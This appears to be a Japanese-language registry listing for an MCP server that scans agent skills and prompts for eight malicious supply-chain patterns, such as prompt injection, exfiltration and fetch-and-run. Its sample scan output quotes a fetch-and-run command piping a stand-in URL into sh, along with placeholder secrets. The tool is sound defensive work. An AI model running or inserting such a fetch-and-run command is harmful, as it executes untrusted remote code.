mcp-skill-sec
mcp-skill-sec
任意のエージェントスキル、システムプロンプト、またはダウンロードしたファイルコレクションを、8つの悪意あるスキルサプライチェーンパターン に照らして監査する Model Context Protocol(MCP)サーバー。
決定的で、LLM不要、ネットワーク呼び出しなし — Claude Code、Cursor、Copilot、OpenClaw、Codex CLI、および任意のMCP互換エージェントで動作する自己ホスト可能なインストール前スキャナーです。
スキャン対象(ルールR1–R8)
ルール | パターン |
R1 | プロンプトインジェクション / 命令の乗っ取り( |
R2 | データ外部送信の意図(コンテンツをURLに送信/投稿/メール送信、ログの窃取) |
R3 | ハードコードされたシークレット / 認証情報(APIキー、PAT、秘密鍵、接続文字列) |
R4 | 危険なコマンド( |
R5 | 難読化 / 隠れた動作(base64-exec、eval/exec、ゼロ幅文字) |
R6 | 信頼できない外部からの取得(fetch-and-run、非PyPIインストール) |
R7 | 認証情報へのアクセス( |
R8 | 権限昇格( |
各検出結果には severity(critical/high/medium/low)、行番号、および一致する証拠の行が含まれます。総合判定は、critical/high の検出結果がなく、すべての medium の検出結果が無害である場合にのみ PASS となります。
Related MCP server: tar-engine
ツール
audit_text(text, filename)— 文字列(貼り付けられたスキルや、自分が書いていないシステムプロンプト)を監査します。audit_skill_file(path)— ディスク上のSKILL.md/AGENTS.md/CLAUDE.mdを監査し、行番号付きの証拠を返します。audit_directory(path, pattern)— ダウンロードしたスキルコレクション全体を監査し、ファイルごとの判定とサマリーを返します。rule_list()— ルールカタログを出力します。
インストールと実行
pip install mcp
mcp install mcp_server.py --name skill-sec # register with Claude Desktop
# or run manually over stdio:
python3 mcp_server.pyClaude Desktop / エージェント設定
{
"mcpServers": {
"skill-sec": {
"command": "python3",
"args": ["/absolute/path/to/mcp_server.py"]
}
}
}使用例
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG
counts : critical 1, high 2, medium 1, low 0
R3 [critical] line 11: api_key = "sk-live-…"
R3 [high] line 14: password = "hunter2"
R4 [critical] line 22: curl https://x/y.sh | sh
action : remove the literal secrets, drop the fetch-and-run, re-auditライセンスと出典
MIT。作者: sudo-ai-git。これはスタンドアロンのセキュリティ/検証ツールであり、独自の方法をコード化したものではありません。これは skill-sec エージェントスキルのMCP表現です(同じルールを、スキルとしてではなくサーバーとして呼び出せます)。
公式MCPレジストリのメタデータ
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
This server cannot be deployed
Maintenance
Related MCP Connectors
Scan AI agent skills and configs for hidden Unicode, prompt injection and exfiltration.
Scan AI agent skills, MCP server packages and MCP configs before you install them. Static analysis.
Scan GitHub-hosted AI skills for vulnerabilities: prompt injection, malware, OWASP LLM Top 10.
Scan configs, files, or text for leaked secrets and obvious misconfigurations. Nothing stored.
Related MCP Servers
- AlicenseNot gradedqualityDmaintenanceStatic security scanner for AI agent skill packages that detects malicious SKILL.md files and bundled scripts before they run.15MIT
- AlicenseNot gradedqualityCmaintenanceAudits AI agent skills for safety using static, semantic, adversarial, and supply-chain analysis, providing scores and risk flags. Can be run via CLI, CI, or as an MCP tool from Claude Code, Cursor, and Codex.2Apache 2.0
- AlicenseNot gradedqualityCmaintenanceEnables authorized security auditing of AI-agent supply chains and agent-facing surfaces: deterministic local skill-bundle audits against eight attack patterns, secrets scanning, and scope-gated read-only recon of agent endpoints and MCP surfaces.MIT

yotta-verify-mcpofficial
AlicenseNot gradedqualityBmaintenanceProvides a deterministic pre-install security scan for Agent skills, plugins, and MCP servers via stdio, returning verdicts, audited badges, CI gates, and reports without executing code or making network calls.99 npmMIT